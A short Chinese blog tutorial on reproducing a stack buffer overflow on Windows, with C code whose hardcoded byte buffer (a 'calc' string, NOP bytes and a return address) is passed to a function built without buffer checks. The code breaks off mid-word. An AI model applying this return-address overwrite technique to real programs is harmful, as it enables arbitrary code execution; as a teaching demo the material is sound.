Advertisement

(binary vulnerabilities)(stack overflow attack)

阅读量:

二进制漏洞——栈溢出复现

从上述分析可知,实现栈溢出的关键在于使函数内部成员的长度超出EBP的限制,并进一步覆盖到返回地址的位置,从而获得执行权限。具体的构造代码如下:

复制代码
    #include <stdio.h>
    #include <windows.h>
    
    __declspec(safebuffers) void OverFlow(char *);
    __declspec(dllexport) BOOL MyWinExec(char *,UINT);
    int main(int argc,char *argv[])
    {
    	char Buf[]="\x63\x61\x6C\x63\x00\x00\x00\x00\x90\x90\x90\x90"
    			   "\x5B\x10\x40\x00\x04\xFF\x12\x00\x05\x00\x00\x00";
    	char test[8];
    	OverFlow(Buf);
    }
    __declspec(safebuffers) voi

全部评论 (0)

还没有任何评论哟~